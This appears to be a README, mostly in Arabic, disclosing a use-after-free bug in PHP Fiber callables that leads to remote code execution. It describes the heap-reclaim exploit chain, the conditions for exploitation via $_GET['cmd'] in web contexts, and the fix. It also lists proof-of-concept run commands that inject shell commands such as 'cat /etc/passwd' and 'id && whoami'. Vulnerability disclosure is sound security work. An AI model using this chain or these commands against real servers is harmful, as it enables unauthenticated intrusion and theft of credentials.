
استغلالات إثبات مفهوم لثغرة use-after-free في PHP Fiber callable (CVE-2026-2031226) تتيح استعادة ذاكرة الكومة، والخلط بين الأنواع، وتسريب المعلومات، والتنفيذ عن بُعد دون مصادقة.
الخطورة: حرجة (CVSS 9.8 — تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة في سياق الويب)
المتأثر: PHP 8.1.x–8.4.27، PHP 8.5.x–8.5.12
تم إصلاحه في: PHP 8.4.28-dev، PHP 8.5.13-dev
المكوّن: Zend/zend_fibers.c — zend_fiber_addref_callable() (مفقود)
النوع: استخدام-بعد-التحرير (Use-After-Free) ← استعادة ذاكرة الكومة (Heap reclaim) ← تراكب الخصائص (Property aliasing) ← تنفيذ تعليمات برمجية عن بُعد (RCE)
عندما يتم إنشاء PHP Fiber باستخدام callable من نوع دالة-صنف [ClassName::class, 'method'] داخل دالة نسخة (instance method)، يقوم PHP بتحويل $this الضمني إلى fci.object دون زيادة عدّاد مراجعه (GC_ADDREF). إذا تم تحرير الكائن قبل استدعاء Fiber::start()، يمكن استعادة خانة الذاكرة المحرَّرة عبر تخصيص يتحكم به المهاجم بالحجم نفسه، مما يتيح تراكب الخصائص بين الأصناف وتنفيذ تعليمات برمجية عن بُعد.
1. Fiber UAF: new Fiber([SafeProcessor::class, 'process'])
→ fci.object = $processor, NO GC_ADDREF (the bug)
2. Free: unset($processor)
→ efree(56-byte slot), fci.object dangling
3. Heap reclaim: new UserRequest($argv[1])
→ LIFO free list, UserRequest lands in freed slot
→ UserRequest::$command = attacker-controlled string
4. UAF trigger: $fiber->start()
→ PHP reads fci.object (UserRequest's slot)
→ name-lookup "command" in UserRequest's ce
→ IS_STRING = attacker input
→ system($this->command) → RCE
# Original crash (SIGSEGV, exit 139)
php poc_fiber_uaf.php
# Type confusion: IS_LONG read as IS_STRING
php poc_fiber_type_confusion.php
# 64-bit value injection / info leak primitive
php poc_fiber_infoleak.php
# Full RCE — attacker-controlled input via argv[1]
php poc_fiber_rce.php 'id && whoami'
php poc_fiber_rce.php 'cat /etc/passwd'
$ php poc_fiber_rce.php 'id && uname -a'
[*] Attacker input: 'id && uname -a'
[*] SafeProcessor freed, UserRequest at same address
[*] Starting fiber...
---
[victim expects] command = 'echo safe_output_only'
[actual shell output]:
uid=501(adrian) gid=20(staff) groups=20(staff),80(admin),...
Darwin ... arm64
---
[*] RCE complete (exit 0)
لكي تكون RCE قابلة للاستغلال، يجب أن يستوفي التطبيق الهدف جميع ما يلي:
system()/exec()/shell_exec() باستخدام $this->prop[VictimClass::class, 'method'] داخل دالة نسخة (instance method)$fiber->start() (unset، خروج من النطاق، GC)sizeof(AttackerClass) == sizeof(VictimClass) (نفس حاوية ZendMM: 40 + n_props * 16 بايت)$fiber->start() بعد تخصيص صنف المهاجمفي سياق الويب/FPM: $_GET['cmd'] → new AttackerClass($_GET['cmd']) → استعادة الفتحة → system($_GET['cmd']) — RCE دون مصادقة.
Zend/zend_fibers.c — غياب GC_ADDREF في تحليل الكائن القابل للاستدعاء (callable resolution):
// BUG: fci.object stored without refcount increment
// Fix (PHP 8.4.28-dev / 8.5.13-dev):
static void zend_fiber_addref_callable(zend_fcall_info *fci) {
if (fci->object) {
GC_ADDREF(fci->object); // added by fix
}
}
يضيف PHP 8.4.28-dev و8.5.13-dev الدالة zend_fiber_addref_callable() مع GC_ADDREF(fiber->fci.object) وOBJ_RELEASE مقترنة بها في zend_fiber_release_callable().
| الملف | الوصف |
|---|---|
poc_fiber_uaf.php | إثبات مفهوم الانهيار الأصلي (exit 139، SIGSEGV) |
poc_fiber_type_confusion.php | خلط الأنواع: IS_LONG حيث يُتوقع IS_STRING |
poc_fiber_infoleak.php | حقن قيمة مُتحكَّم بها 64-بت / بدائية تسريب المعلومات |
poc_fiber_rce.php | تنفيذ أوامر عن بُعد كامل (RCE) بمدخل خارجي يتحكم به المهاجم |
disclosure_fiber_uaf.txt | الإفصاح الكامل المُرسَل إلى [email protected] و[email protected] |
Adrian / [email protected] بناءً على أبحاث أمن PHP السابقة: CVE-2026-109618، CVE-2026-109619